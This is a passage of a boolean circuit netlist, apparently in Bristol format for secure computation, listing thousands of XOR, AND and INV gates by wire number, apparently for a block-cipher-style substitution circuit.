+2 1 30096 30048 30042 XOR +2 1 30028 30048 30002 XOR +2 1 30002 30027 30092 XOR +2 1 30033 30052 30001 XOR +2 1 34075 30001 30044 XOR +2 1 30099 30042 29998 XOR +2 1 34071 29998 30086 XOR +2 1 30094 30093 30090 AND +2 1 30090 30044 30085 XOR +2 1 30090 30092 30089 XOR +2 1 30091 30089 30088 AND +2 1 30088 30044 30087 XOR +2 1 30088 30100 29993 XOR +2 1 29993 30029 29989 XOR +2 1 34077 29989 29992 XOR +2 1 30088 30038 29990 XOR +2 1 34075 29989 29988 XOR +2 1 30085 30086 30084 AND +2 1 30084 30092 30083 XOR +2 1 30090 30084 30082 XOR +2 1 30084 30042 29997 XOR +2 1 30084 30101 29996 XOR +2 1 29996 30098 29991 XOR +2 1 29991 29992 30075 XOR +2 1 30092 30082 30081 AND +2 1 30081 30089 30079 XOR +2 1 30081 30099 30051 XOR +2 1 30051 30045 30073 XOR +2 1 34071 30051 30034 XOR +2 1 30034 29997 30080 XOR +2 1 30087 30079 30078 AND +2 1 30078 30047 30037 XOR +2 1 30037 30039 30077 XOR +2 1 30078 30102 29995 XOR +2 1 30034 29995 29987 XOR +2 1 30024 29987 29994 XOR +2 1 29991 29994 30076 XOR +2 1 30037 29990 30074 XOR +2 1 29987 29988 30072 XOR +2 1 30073 30110 30071 AND +2 1 30080 30109 30070 AND +2 1 30083 34070 30069 AND +2 1 30069 30071 30050 XOR +2 1 30074 30104 30068 AND +2 1 30077 30116 30067 AND +2 1 30067 30068 30053 XOR +2 1 30087 30106 30066 AND +2 1 30066 30067 30004 XOR +2 1 30075 30107 30065 AND +2 1 30072 30105 30064 AND +2 1 30064 30053 30043 XOR +2 1 30064 30067 30019 XOR +1 1 30019 30016 INV +2 1 30064 30065 30015 XOR +2 1 30065 30043 30003 XOR +2 1 30076 30108 30063 AND +2 1 30073 30114 30062 AND +2 1 30080 30111 30061 AND +2 1 30083 30115 30060 AND +2 1 30060 30043 30009 XOR +1 1 30009 30006 INV +2 1 30074 30119 30059 AND +2 1 30059 30063 30035 XOR +2 1 30068 30059 30020 XOR +1 1 30035 30013 INV +2 1 30077 30112 30058 AND +2 1 30066 30058 30022 XOR +2 1 30087 30113 30057 AND +2 1 30013 30057 30012 XOR +2 1 30012 30050 30008 XOR +2 1 30075 30118 30056 AND +2 1 30056 30008 30011 XOR +2 1 30072 30120 30055 AND +2 1 30055 30056 30049 XOR +2 1 30061 30049 30031 XOR +2 1 30062 30031 30032 XOR +2 1 30070 30032 30036 XOR +2 1 30071 30036 30041 XOR +2 1 30053 30041 36046 XOR +2 1 36046 36040 9212 XOR +2 1 30022 30049 30018 XOR +2 1 30050 30018 30021 XOR +2 1 30020 30021 30124 XOR +2 1 30013 30018 30017 XOR +2 1 30016 30017 30123 XOR +2 1 30041 30015 30122 XOR +2 1 30031 30008 30007 XOR +2 1 30006 30007 36044 XOR +2 1 36044 9168 9167 XOR +2 1 30069 30036 30005 XOR +2 1 30004 30005 36045 XOR +2 1 36045 9161 9171 XOR +2 1 30032 30003 36047 XOR +2 1 30076 30117 30054 AND +2 1 30065 30054 30014 XOR +1 1 30014 30010 INV +2 1 30010 30011 30121 XOR +2 1 36045 36049 9421 XOR +2 1 36047 36051 9381 XOR +2 1 9381 33099 9231 XOR +2 1 35827 33204 8760 XOR +2 1 8915 8913 8761 XOR +2 1 33045 8761 35729 XOR +2 1 35729 577 34084 XOR +2 1 34084 9031 9113 XOR +2 1 8759 8760 35730 XOR +2 1 35730 576 34085 XOR +2 1 34083 34085 9030 XOR +2 1 34085 34079 9125 XOR +2 1 9125 9110 9106 AND +2 1 9106 9030 9034 XOR +2 1 34085 34080 9123 XOR +2 1 34082 34085 9124 XOR +2 1 9124 9113 9103 AND +2 1 33204 8788 35713 XOR +2 1 35713 593 34068 XOR +2 1 34068 28345 28427 XOR +2 1 34066 34068 28346 XOR +2 1 28423 28346 28349 XOR +2 1 34062 34068 28350 XOR +2 1 28350 28345 28426 XOR +2 1 28344 28350 28433 XOR +2 1 28360 28433 28431 XOR +2 1 34067 28350 28436 XOR +2 1 34063 28436 28432 XOR +2 1 28346 28344 28306 XOR +2 1 28343 28306 28428 XOR +2 1 28346 34067 28305 XOR +2 1 34062 28305 28435 XOR +2 1 28431 28429 28422 AND +2 1 28416 28422 28367 XOR +2 1 28435 34062 28421 AND +2 1 28436 28432 28419 AND +2 1 28433 28426 28418 AND +2 1 28438 28427 28417 AND +2 1 28417 28345 28347 XOR +2 1 28349 28347 28353 XOR +2 1 34069 28353 28358 XOR +2 1 28367 28358 28414 XOR +2 1 28416 28417 28319 XOR +2 1 28319 28320 28366 XOR +2 1 28366 28348 28365 XOR +2 1 28419 28365 28413 XOR +2 1 28437 28428 28415 AND +2 1 28415 28418 28368 XOR +2 1 28415 28421 28372 XOR +2 1 28372 28344 28359 XOR +2 1 28367 28359 28411 XOR +2 1 28416 28368 28362 XOR +2 1 28348 28368 28322 XOR +2 1 28322 28347 28412 XOR +2 1 28353 28372 28321 XOR +2 1 34067 28321 28364 XOR +2 1 28419 28362 28318 XOR +2 1 34063 28318 28406 XOR +2 1 28414 28413 28410 AND +2 1 28410 28364 28405 XOR +2 1 28410 28412 28409 XOR +2 1 28411 28409 28408 AND +2 1 28408 28364 28407 XOR +2 1 28408 28420 28313 XOR +2 1 28313 28349 28309 XOR +2 1 34069 28309 28312 XOR +2 1 28408 28358 28310 XOR +2 1 34067 28309 28308 XOR +2 1 28405 28406 28404 AND +2 1 28404 28412 28403 XOR +2 1 28410 28404 28402 XOR +2 1 28404 28362 28317 XOR +2 1 28404 28421 28316 XOR +2 1 28316 28418 28311 XOR +2 1 28311 28312 28395 XOR +2 1 28412 28402 28401 AND +2 1 28401 28409 28399 XOR +2 1 28401 28419 28371 XOR +2 1 28371 28365 28393 XOR +2 1 34063 28371 28354 XOR +2 1 28354 28317 28400 XOR +2 1 28407 28399 28398 AND +2 1 28398 28367 28357 XOR +2 1 28357 28359 28397 XOR +2 1 28398 28422 28315 XOR +2 1 28354 28315 28307 XOR +2 1 28344 28307 28314 XOR +2 1 28311 28314 28396 XOR +2 1 28357 28310 28394 XOR +2 1 28307 28308 28392 XOR +2 1 28393 28430 28391 AND +2 1 28400 28429 28390 AND +2 1 28403 34062 28389 AND +2 1 28389 28391 28370 XOR +2 1 28394 28424 28388 AND +2 1 28397 28436 28387 AND +2 1 28387 28388 28373 XOR +2 1 28407 28426 28386 AND +2 1 28386 28387 28324 XOR +2 1 28395 28427 28385 AND +2 1 28392 28425 28384 AND +2 1 28384 28373 28363 XOR +2 1 28384 28387 28339 XOR +1 1 28339 28336 INV +2 1 28384 28385 28335 XOR +2 1 28385 28363 28323 XOR +2 1 28396 28428 28383 AND +2 1 28393 28434 28382 AND +2 1 28400 28431 28381 AND +2 1 28403 28435 28380 AND +2 1 28380 28363 28329 XOR +1 1 28329 28326 INV +2 1 28394 28439 28379 AND +2 1 28379 28383 28355 XOR +2 1 28388 28379 28340 XOR +1 1 28355 28333 INV +2 1 28397 28432 28378 AND +2 1 28386 28378 28342 XOR +2 1 28407 28433 28377 AND +2 1 28333 28377 28332 XOR +2 1 28332 28370 28328 XOR +2 1 28395 28438 28376 AND +2 1 28376 28328 28331 XOR +2 1 28392 28440 28375 AND +2 1 28375 28376 28369 XOR +2 1 28381 28369 28351 XOR +2 1 28382 28351 28352 XOR +2 1 28390 28352 28356 XOR +2 1 28391 28356 28361 XOR +2 1 28373 28361 36059 XOR +2 1 28342 28369 28338 XOR +2 1 28370 28338 28341 XOR +2 1 28340 28341 28444 XOR +2 1 28333 28338 28337 XOR +2 1 28336 28337 28443 XOR +2 1 28361 28335 28442 XOR +2 1 28351 28328 28327 XOR +2 1 28326 28327 36057 XOR +2 1 28389 28356 28325 XOR +2 1 28324 28325 36058 XOR +2 1 36058 36057 9134 XOR +2 1 36058 9185 9184 XOR +2 1 28352 28323 36060 XOR +2 1 36056 36060 9380 XOR +2 1 28396 28437 28374 AND +2 1 28385 28374 28334 XOR +1 1 28334 28330 INV +2 1 28330 28331 28441 XOR +2 1 36052 36057 9419 XOR +2 1 36060 24105 9371 XOR +2 1 9289 33104 9318 XOR +2 1 36044 36048 9431 XOR +1 1 9431 9244 INV +2 1 9244 33100 9242 XOR +2 1 36043 36047 9388 XOR +2 1 9388 33100 9164 XOR +2 1 9029 9124 9116 XOR +2 1 36046 36050 9412 XOR +2 1 35996 36011 9428 XOR +2 1 34078 9116 9115 XOR +2 1 9030 9126 9111 XOR +2 1 9126 9111 9102 AND +2 1 9102 9103 9005 XOR +2 1 9005 9006 9052 XOR +2 1 9052 9034 9051 XOR +2 1 34082 34084 9032 XOR +2 1 9032 34083 8991 XOR +2 1 34078 8991 9121 XOR +2 1 9121 34078 9107 AND +2 1 9032 9030 8992 XOR +2 1 9029 8992 9114 XOR +2 1 9123 9114 9101 AND +2 1 34078 34084 9036 XOR +2 1 34083 9036 9122 XOR +2 1 34079 9122 9118 XOR +2 1 9122 9118 9105 AND +2 1 9105 9051 9099 XOR +2 1 9036 9031 9112 XOR +2 1 9103 9031 9033 XOR +2 1 9030 9036 9119 XOR +2 1 9119 9112 9104 AND +2 1 9046 9119 9117 XOR +2 1 9117 9115 9108 AND +2 1 9102 9108 9053 XOR +2 1 9101 9104 9054 XOR +2 1 9034 9054 9008 XOR +2 1 9008 9033 9098 XOR +2 1 9101 9107 9058 XOR +2 1 9058 9030 9045 XOR +2 1 9053 9045 9097 XOR +2 1 9102 9054 9048 XOR +2 1 9105 9048 9004 XOR +2 1 34079 9004 9092 XOR +2 1 36054 36059 9445 XOR +1 1 9381 9478 INV +2 1 9478 36045 9198 XOR +2 1 9478 36046 9195 XOR +1 1 9428 9290 INV +2 1 9124 9046 9120 XOR +2 1 9116 9120 9109 AND +2 1 9109 9032 9035 XOR +2 1 9035 9033 9039 XOR +2 1 9039 9058 9007 XOR +2 1 34083 9007 9050 XOR +2 1 34085 9039 9044 XOR +2 1 9053 9044 9100 XOR +2 1 9100 9099 9096 AND +2 1 9096 9050 9091 XOR +2 1 9091 9092 9090 AND +2 1 9090 9107 9002 XOR +2 1 9002 9104 8997 XOR +2 1 9096 9090 9088 XOR +2 1 9098 9088 9087 AND +2 1 9090 9048 9003 XOR +2 1 9090 9098 9089 XOR +2 1 9089 34078 9075 AND +2 1 9089 9121 9066 AND +2 1 9087 9105 9057 XOR +2 1 9057 9051 9079 XOR +2 1 9079 9120 9068 AND +2 1 9079 9116 9077 AND +2 1 9075 9077 9056 XOR +2 1 34079 9057 9040 XOR +2 1 9040 9003 9086 XOR +2 1 9086 9117 9067 AND +2 1 9086 9115 9076 AND +2 1 9096 9098 9095 XOR +2 1 9087 9095 9085 XOR +2 1 9097 9095 9094 AND +2 1 9094 9106 8999 XOR +2 1 8999 9035 8995 XOR +2 1 34085 8995 8998 XOR +2 1 9094 9044 8996 XOR +2 1 34083 8995 8994 XOR +2 1 8997 8998 9081 XOR +2 1 9081 9124 9062 AND +2 1 9081 9113 9071 AND +2 1 9094 9050 9093 XOR +2 1 9093 9119 9063 AND +2 1 9093 9112 9072 AND +2 1 9093 9085 9084 AND +2 1 9084 9108 9001 XOR +2 1 9084 9053 9043 XOR +2 1 9043 8996 9080 XOR +2 1 9080 9125 9065 AND +2 1 9080 9110 9074 AND +2 1 9074 9065 9026 XOR +2 1 9040 9001 8993 XOR +2 1 9030 8993 9000 XOR +2 1 8997 9000 9082 XOR +2 1 9082 9123 9060 AND +2 1 8993 8994 9078 XOR +2 1 9078 9126 9061 AND +2 1 9082 9114 9069 AND +2 1 9078 9111 9070 AND +2 1 9061 9062 9055 XOR +2 1 9065 9069 9041 XOR +2 1 9070 9071 9021 XOR +2 1 9071 9060 9020 XOR +1 1 9020 9016 INV +2 1 9067 9055 9037 XOR +2 1 9068 9037 9038 XOR +2 1 9076 9038 9042 XOR +2 1 9075 9042 9011 XOR +2 1 9043 9045 9083 XOR +2 1 9083 9118 9064 AND +2 1 9072 9064 9028 XOR +2 1 9083 9122 9073 AND +2 1 9072 9073 9010 XOR +2 1 9070 9073 9025 XOR +1 1 9025 9022 INV +2 1 9010 9011 36030 XOR +2 1 36026 36030 9408 XOR +2 1 9077 9042 9047 XOR +2 1 9047 9021 9128 XOR +2 1 9028 9055 9024 XOR +2 1 9056 9024 9027 XOR +2 1 9026 9027 9130 XOR +1 1 9041 9019 INV +2 1 9019 9024 9023 XOR +2 1 9022 9023 9129 XOR +2 1 9019 9063 9018 XOR +2 1 9018 9056 9014 XOR +2 1 9062 9014 9017 XOR +2 1 9037 9014 9013 XOR +2 1 9016 9017 9127 XOR +2 1 9073 9074 9059 XOR +2 1 9059 9047 36031 XOR +2 1 36027 36031 9403 XOR +2 1 9070 9059 9049 XOR +2 1 9066 9049 9015 XOR +1 1 9015 9012 INV +2 1 9012 9013 36029 XOR +2 1 36025 36029 9413 XOR +2 1 9071 9049 9009 XOR +2 1 9038 9009 36032 XOR +2 1 36019 36032 9392 XOR +2 1 9392 36030 9143 XOR +1 1 9392 9139 INV +2 1 9139 36029 9140 XOR +1 1 9130 32814 INV +2 1 33173 32814 9420 XOR +2 1 9420 9392 9298 XOR +2 1 9139 32814 9137 XOR +1 1 9127 32815 INV +2 1 32815 33166 9293 XOR +2 1 33178 32815 9398 XOR +2 1 9398 36031 9294 XOR +1 1 9128 32816 INV +2 1 33167 32816 9401 XOR +2 1 9401 33178 9264 XOR +1 1 9129 32817 INV +2 1 33180 32817 9416 XOR +2 1 9413 32817 9296 XOR +1 1 28444 33125 INV +1 1 28441 33130 INV +2 1 33130 36059 9349 XOR +1 1 28442 33131 INV +1 1 28443 33132 INV +2 1 33041 33132 9434 XOR +1 1 9434 9343 INV +2 1 33042 33125 9442 XOR +1 1 30124 33165 INV +2 1 33165 33093 9443 XOR +2 1 33165 33129 9165 XOR +2 1 9164 9165 9460 XOR +1 1 30264 33169 INV +2 1 33169 33097 9449 XOR +1 1 30121 33170 INV +2 1 33170 28581 9209 XOR +2 1 33170 33098 9406 XOR +2 1 9406 36050 9241 XOR +1 1 9241 9239 INV +1 1 30122 33171 INV +2 1 33171 28582 9207 XOR +2 1 33171 33099 9395 XOR +2 1 9395 33098 9234 XOR +1 1 30123 33172 INV +2 1 33172 28583 9214 XOR +2 1 33172 33100 9435 XOR +2 1 9478 33172 9203 XOR +1 1 9388 9169 INV +2 1 9169 36049 9166 XOR +2 1 9166 9167 9459 XOR +2 1 9169 36050 9170 XOR +2 1 9170 9171 9458 XOR +1 1 30261 33174 INV +1 1 30262 33175 INV +1 1 30263 33176 INV +2 1 33176 33104 9448 XOR +2 1 36028 36032 9382 XOR +2 1 9382 9252 9251 XOR +2 1 9401 9382 9291 XOR +2 1 9382 36026 9258 XOR +2 1 9382 33180 9261 XOR +2 1 36055 33131 9444 XOR +1 1 8899 33231 INV +2 1 33231 35833 8738 XOR +2 1 33231 35850 8719 XOR +2 1 33231 35834 8736 XOR +2 1 33231 33181 8742 XOR +2 1 8741 8742 8740 XOR +1 1 8740 35740 INV +2 1 8737 8738 35742 XOR +2 1 35742 564 34097 XOR +2 1 34097 34096 28180 XOR +2 1 8735 8736 35743 XOR +2 1 35743 563 34098 XOR +2 1 34098 34100 28206 XOR +2 1 34098 34101 28298 XOR +2 1 34096 34098 28300 XOR +2 1 28204 28300 28285 XOR +2 1 28206 28204 28166 XOR +2 1 28206 34099 28165 XOR +2 1 34094 28165 28295 XOR +2 1 28295 34094 28281 AND +2 1 28300 28285 28276 AND +2 1 8719 8720 35754 XOR +2 1 35754 552 34109 XOR +2 1 34107 34109 29744 XOR +2 1 29744 29840 29825 XOR +2 1 34106 34109 29838 XOR +2 1 29838 29760 29834 XOR +2 1 29743 29838 29830 XOR +2 1 29746 29744 29706 XOR +2 1 29743 29706 29828 XOR +2 1 34109 34103 29839 XOR +2 1 34109 34104 29837 XOR +2 1 29830 29834 29823 AND +2 1 29823 29746 29749 XOR +2 1 29839 29824 29820 AND +2 1 29820 29744 29748 XOR +2 1 29838 29827 29817 AND +2 1 29817 29745 29747 XOR +2 1 29749 29747 29753 XOR +2 1 34109 29753 29758 XOR +2 1 29840 29825 29816 AND +2 1 29816 29817 29719 XOR +2 1 29719 29720 29766 XOR +2 1 29766 29748 29765 XOR +2 1 29837 29828 29815 AND +2 1 35740 566 34095 XOR +2 1 34095 34097 28203 XOR +2 1 34096 28203 28205 XOR +2 1 34100 28205 28287 XOR +2 1 34099 28205 28284 XOR +2 1 28210 28205 28286 XOR +2 1 34095 28296 28292 XOR +2 1 28203 28298 28290 XOR +2 1 34094 28290 28289 XOR +2 1 34095 34096 28220 XOR +2 1 28220 28293 28291 XOR +2 1 28298 28220 28294 XOR +2 1 28203 28166 28288 XOR +2 1 34101 34095 28299 XOR +2 1 28290 28294 28283 AND +2 1 28283 28206 28209 XOR +2 1 28291 28289 28282 AND +2 1 28276 28282 28227 XOR +2 1 28299 28284 28280 AND +2 1 28280 28204 28208 XOR +2 1 28296 28292 28279 AND +2 1 28293 28286 28278 AND +2 1 28298 28287 28277 AND +2 1 28277 28205 28207 XOR +2 1 28209 28207 28213 XOR +2 1 34101 28213 28218 XOR +2 1 28227 28218 28274 XOR +2 1 28276 28277 28179 XOR +2 1 28179 28180 28226 XOR +2 1 28226 28208 28225 XOR +2 1 28279 28225 28273 XOR +2 1 28297 28288 28275 AND +2 1 28275 28278 28228 XOR +2 1 28275 28281 28232 XOR +2 1 28232 28204 28219 XOR +2 1 28227 28219 28271 XOR +2 1 28276 28228 28222 XOR +2 1 28208 28228 28182 XOR +2 1 28182 28207 28272 XOR +2 1 28213 28232 28181 XOR +2 1 34099 28181 28224 XOR +2 1 28279 28222 28178 XOR +2 1 34095 28178 28266 XOR +2 1 28274 28273 28270 AND +2 1 28270 28224 28265 XOR +2 1 28270 28272 28269 XOR +2 1 28271 28269 28268 AND +2 1 28268 28224 28267 XOR +2 1 28268 28280 28173 XOR +2 1 28173 28209 28169 XOR +2 1 34101 28169 28172 XOR +2 1 28268 28218 28170 XOR +2 1 34099 28169 28168 XOR +2 1 28265 28266 28264 AND +2 1 28264 28272 28263 XOR +2 1 28270 28264 28262 XOR +2 1 28264 28222 28177 XOR +2 1 28264 28281 28176 XOR +2 1 28176 28278 28171 XOR +2 1 28171 28172 28255 XOR +2 1 28272 28262 28261 AND +2 1 28261 28269 28259 XOR +2 1 28261 28279 28231 XOR +2 1 28231 28225 28253 XOR +2 1 34095 28231 28214 XOR +2 1 28214 28177 28260 XOR +2 1 28267 28259 28258 AND +2 1 28258 28227 28217 XOR +2 1 28217 28219 28257 XOR +2 1 28258 28282 28175 XOR +2 1 28214 28175 28167 XOR +2 1 28204 28167 28174 XOR +2 1 28171 28174 28256 XOR +2 1 28217 28170 28254 XOR +2 1 28167 28168 28252 XOR +2 1 28253 28290 28251 AND +2 1 28260 28289 28250 AND +2 1 28263 34094 28249 AND +2 1 28249 28251 28230 XOR +2 1 28254 28284 28248 AND +2 1 28257 28296 28247 AND +2 1 28247 28248 28233 XOR +2 1 28267 28286 28246 AND +2 1 28246 28247 28184 XOR +2 1 28255 28287 28245 AND +2 1 28252 28285 28244 AND +2 1 28244 28233 28223 XOR +2 1 28244 28247 28199 XOR +1 1 28199 28196 INV +2 1 28244 28245 28195 XOR +2 1 28245 28223 28183 XOR +2 1 28256 28288 28243 AND +2 1 28253 28294 28242 AND +2 1 28260 28291 28241 AND +2 1 28263 28295 28240 AND +2 1 28240 28223 28189 XOR +1 1 28189 28186 INV +2 1 28254 28299 28239 AND +2 1 28239 28243 28215 XOR +2 1 28248 28239 28200 XOR +1 1 28215 28193 INV +2 1 28257 28292 28238 AND +2 1 28246 28238 28202 XOR +2 1 28267 28293 28237 AND +2 1 28193 28237 28192 XOR +2 1 28192 28230 28188 XOR +2 1 28255 28298 28236 AND +2 1 28236 28188 28191 XOR +2 1 28252 28300 28235 AND +2 1 28235 28236 28229 XOR +2 1 28241 28229 28211 XOR +2 1 28242 28211 28212 XOR +2 1 28250 28212 28216 XOR +2 1 28251 28216 28221 XOR +2 1 28233 28221 36002 XOR +2 1 35998 36002 9441 XOR +2 1 28202 28229 28198 XOR +2 1 28230 28198 28201 XOR +2 1 28200 28201 28304 XOR +2 1 28193 28198 28197 XOR +2 1 28196 28197 28303 XOR +2 1 28221 28195 28302 XOR +2 1 33103 28302 9238 XOR +2 1 28211 28188 28187 XOR +2 1 28186 28187 36000 XOR +2 1 28249 28216 28185 XOR +2 1 28184 28185 36001 XOR +2 1 28212 28183 36005 XOR +2 1 27042 36005 9218 XOR +2 1 28256 28297 28234 AND +2 1 28245 28234 28194 XOR +1 1 28194 28190 INV +2 1 28190 28191 28301 XOR +2 1 36013 28301 9255 XOR +1 1 28302 36004 INV +1 1 28301 36003 INV +2 1 35999 36005 9386 XOR +2 1 9386 35997 9176 XOR +2 1 9449 9386 9201 XOR +2 1 35996 36000 9177 XOR +2 1 33174 36003 9438 XOR +2 1 9438 33103 9314 XOR +2 1 9289 36001 9288 XOR +2 1 9176 9177 9455 XOR +2 1 36012 36002 9136 XOR +2 1 9135 9136 9472 XOR +2 1 35997 36001 9450 XOR +1 1 9450 9332 INV +2 1 33175 36004 9436 XOR +2 1 9436 27042 9312 XOR +1 1 28303 33126 INV +2 1 9290 33126 9359 XOR +1 1 28304 33127 INV +2 1 35747 559 34102 XOR +2 1 34102 29830 29829 XOR +2 1 34102 34108 29750 XOR +2 1 29750 29745 29826 XOR +2 1 29744 29750 29833 XOR +2 1 29760 29833 29831 XOR +2 1 34107 29750 29836 XOR +2 1 34103 29836 29832 XOR +2 1 34102 29705 29835 XOR +2 1 29831 29829 29822 AND +2 1 29816 29822 29767 XOR +2 1 29767 29758 29814 XOR +2 1 29835 34102 29821 AND +2 1 29815 29821 29772 XOR +2 1 29772 29744 29759 XOR +2 1 29767 29759 29811 XOR +2 1 29753 29772 29721 XOR +2 1 34107 29721 29764 XOR +2 1 29836 29832 29819 AND +2 1 29819 29765 29813 XOR +2 1 29833 29826 29818 AND +2 1 29815 29818 29768 XOR +2 1 29816 29768 29762 XOR +2 1 29748 29768 29722 XOR +2 1 29722 29747 29812 XOR +2 1 29819 29762 29718 XOR +2 1 34103 29718 29806 XOR +2 1 29814 29813 29810 AND +2 1 29810 29764 29805 XOR +2 1 29810 29812 29809 XOR +2 1 29811 29809 29808 AND +2 1 29808 29764 29807 XOR +2 1 29808 29820 29713 XOR +2 1 29713 29749 29709 XOR +2 1 34109 29709 29712 XOR +2 1 29808 29758 29710 XOR +2 1 34107 29709 29708 XOR +2 1 29805 29806 29804 AND +2 1 29804 29812 29803 XOR +2 1 29810 29804 29802 XOR +2 1 29804 29762 29717 XOR +2 1 29804 29821 29716 XOR +2 1 29716 29818 29711 XOR +2 1 29711 29712 29795 XOR +2 1 29812 29802 29801 AND +2 1 29801 29809 29799 XOR +2 1 29801 29819 29771 XOR +2 1 29771 29765 29793 XOR +2 1 34103 29771 29754 XOR +2 1 29754 29717 29800 XOR +2 1 29807 29799 29798 AND +2 1 29798 29767 29757 XOR +2 1 29757 29759 29797 XOR +2 1 29798 29822 29715 XOR +2 1 29754 29715 29707 XOR +2 1 29744 29707 29714 XOR +2 1 29711 29714 29796 XOR +2 1 29757 29710 29794 XOR +2 1 29707 29708 29792 XOR +2 1 29793 29830 29791 AND +2 1 29800 29829 29790 AND +2 1 29803 34102 29789 AND +2 1 29789 29791 29770 XOR +2 1 29794 29824 29788 AND +2 1 29797 29836 29787 AND +2 1 29787 29788 29773 XOR +2 1 29807 29826 29786 AND +2 1 29786 29787 29724 XOR +2 1 29795 29827 29785 AND +2 1 29792 29825 29784 AND +2 1 29784 29773 29763 XOR +2 1 29784 29787 29739 XOR +1 1 29739 29736 INV +2 1 29784 29785 29735 XOR +2 1 29785 29763 29723 XOR +2 1 29796 29828 29783 AND +2 1 29793 29834 29782 AND +2 1 29800 29831 29781 AND +2 1 29803 29835 29780 AND +2 1 29780 29763 29729 XOR +1 1 29729 29726 INV +2 1 29794 29839 29779 AND +2 1 29779 29783 29755 XOR +2 1 29788 29779 29740 XOR +1 1 29755 29733 INV +2 1 29797 29832 29778 AND +2 1 29786 29778 29742 XOR +2 1 29807 29833 29777 AND +2 1 29733 29777 29732 XOR +2 1 29732 29770 29728 XOR +2 1 29795 29838 29776 AND +2 1 29776 29728 29731 XOR +2 1 29792 29840 29775 AND +2 1 29775 29776 29769 XOR +2 1 29781 29769 29751 XOR +2 1 29782 29751 29752 XOR +2 1 29790 29752 29756 XOR +2 1 29791 29756 29761 XOR +2 1 29773 29761 36063 XOR +2 1 29742 29769 29738 XOR +2 1 29770 29738 29741 XOR +2 1 29740 29741 29844 XOR +2 1 29733 29738 29737 XOR +2 1 29736 29737 29843 XOR +2 1 29761 29735 29842 XOR +2 1 29751 29728 29727 XOR +2 1 29726 29727 36061 XOR +2 1 29789 29756 29725 XOR +2 1 29724 29725 36062 XOR +2 1 36058 36062 9399 XOR +2 1 29752 29723 36064 XOR +2 1 36060 36064 9394 XOR +2 1 9442 9394 9354 XOR +2 1 9394 36061 9133 XOR +2 1 29796 29837 29774 AND +2 1 29785 29774 29734 XOR +1 1 29734 29730 INV +2 1 29730 29731 29841 XOR +2 1 36063 36062 9187 XOR +2 1 9133 9134 9473 XOR +2 1 9445 9399 9350 XOR +1 1 29844 33157 INV +2 1 33157 33125 9132 XOR +1 1 29841 33162 INV +2 1 33130 33162 9404 XOR +2 1 9444 9404 9347 XOR +1 1 9404 9375 INV +1 1 29842 33163 INV +2 1 33163 33131 9346 XOR +2 1 33163 33162 9335 XOR +1 1 29843 33164 INV +2 1 33164 33132 9353 XOR +1 1 8130 33247 INV +2 1 33247 32861 8031 XOR +2 1 8030 8031 8029 XOR +1 1 8029 35507 INV +2 1 33247 35615 8027 XOR +2 1 8026 8027 35509 XOR +2 1 33247 35616 8024 XOR +2 1 8023 8024 35510 XOR +2 1 35507 726 33935 XOR +2 1 33935 28996 28992 XOR +2 1 33935 33936 28920 XOR +2 1 28920 28993 28991 XOR +2 1 33941 33935 28999 XOR +2 1 28996 28992 28979 AND +2 1 35509 724 33937 XOR +2 1 33935 33937 28903 XOR +2 1 33936 28903 28905 XOR +2 1 33940 28905 28987 XOR +2 1 33939 28905 28984 XOR +2 1 28910 28905 28986 XOR +2 1 33937 33936 28880 XOR +2 1 28999 28984 28980 AND +2 1 28980 28904 28908 XOR +2 1 28993 28986 28978 AND +2 1 35510 723 33938 XOR +2 1 33938 33940 28906 XOR +2 1 33938 33941 28998 XOR +2 1 28998 28920 28994 XOR +2 1 28903 28998 28990 XOR +2 1 33934 28990 28989 XOR +2 1 33936 33938 29000 XOR +2 1 28904 29000 28985 XOR +2 1 28906 28904 28866 XOR +2 1 28903 28866 28988 XOR +2 1 28906 33939 28865 XOR +2 1 33934 28865 28995 XOR +2 1 28990 28994 28983 AND +2 1 28983 28906 28909 XOR +2 1 28991 28989 28982 AND +2 1 28995 33934 28981 AND +2 1 28998 28987 28977 AND +2 1 28977 28905 28907 XOR +2 1 28909 28907 28913 XOR +2 1 33941 28913 28918 XOR +2 1 29000 28985 28976 AND +2 1 28976 28982 28927 XOR +2 1 28927 28918 28974 XOR +2 1 28976 28977 28879 XOR +2 1 28879 28880 28926 XOR +2 1 28926 28908 28925 XOR +2 1 28979 28925 28973 XOR +2 1 28997 28988 28975 AND +2 1 28975 28978 28928 XOR +2 1 28975 28981 28932 XOR +2 1 28932 28904 28919 XOR +2 1 28927 28919 28971 XOR +2 1 28976 28928 28922 XOR +2 1 28908 28928 28882 XOR +2 1 28882 28907 28972 XOR +2 1 28913 28932 28881 XOR +2 1 33939 28881 28924 XOR +2 1 28979 28922 28878 XOR +2 1 33935 28878 28966 XOR +2 1 28974 28973 28970 AND +2 1 28970 28924 28965 XOR +2 1 28970 28972 28969 XOR +2 1 28971 28969 28968 AND +2 1 28968 28924 28967 XOR +2 1 28968 28980 28873 XOR +2 1 28873 28909 28869 XOR +2 1 33941 28869 28872 XOR +2 1 28968 28918 28870 XOR +2 1 33939 28869 28868 XOR +2 1 28965 28966 28964 AND +2 1 28964 28972 28963 XOR +2 1 28970 28964 28962 XOR +2 1 28964 28922 28877 XOR +2 1 28964 28981 28876 XOR +2 1 28876 28978 28871 XOR +2 1 28871 28872 28955 XOR +2 1 28972 28962 28961 AND +2 1 28961 28969 28959 XOR +2 1 28961 28979 28931 XOR +2 1 28931 28925 28953 XOR +2 1 33935 28931 28914 XOR +2 1 28914 28877 28960 XOR +2 1 28967 28959 28958 AND +2 1 28958 28927 28917 XOR +2 1 28917 28919 28957 XOR +2 1 28958 28982 28875 XOR +2 1 28914 28875 28867 XOR +2 1 28904 28867 28874 XOR +2 1 28871 28874 28956 XOR +2 1 28917 28870 28954 XOR +2 1 28867 28868 28952 XOR +2 1 28953 28990 28951 AND +2 1 28960 28989 28950 AND +2 1 28963 33934 28949 AND +2 1 28949 28951 28930 XOR +2 1 28954 28984 28948 AND +2 1 28957 28996 28947 AND +2 1 28947 28948 28933 XOR +2 1 28967 28986 28946 AND +2 1 28946 28947 28884 XOR +2 1 28955 28987 28945 AND +2 1 28952 28985 28944 AND +2 1 28944 28933 28923 XOR +2 1 28944 28947 28899 XOR +1 1 28899 28896 INV +2 1 28944 28945 28895 XOR +2 1 28945 28923 28883 XOR +2 1 28956 28988 28943 AND +2 1 28953 28994 28942 AND +2 1 28960 28991 28941 AND +2 1 28963 28995 28940 AND +2 1 28940 28923 28889 XOR +1 1 28889 28886 INV +2 1 28954 28999 28939 AND +2 1 28939 28943 28915 XOR +2 1 28948 28939 28900 XOR +1 1 28915 28893 INV +2 1 28957 28992 28938 AND +2 1 28946 28938 28902 XOR +2 1 28967 28993 28937 AND +2 1 28893 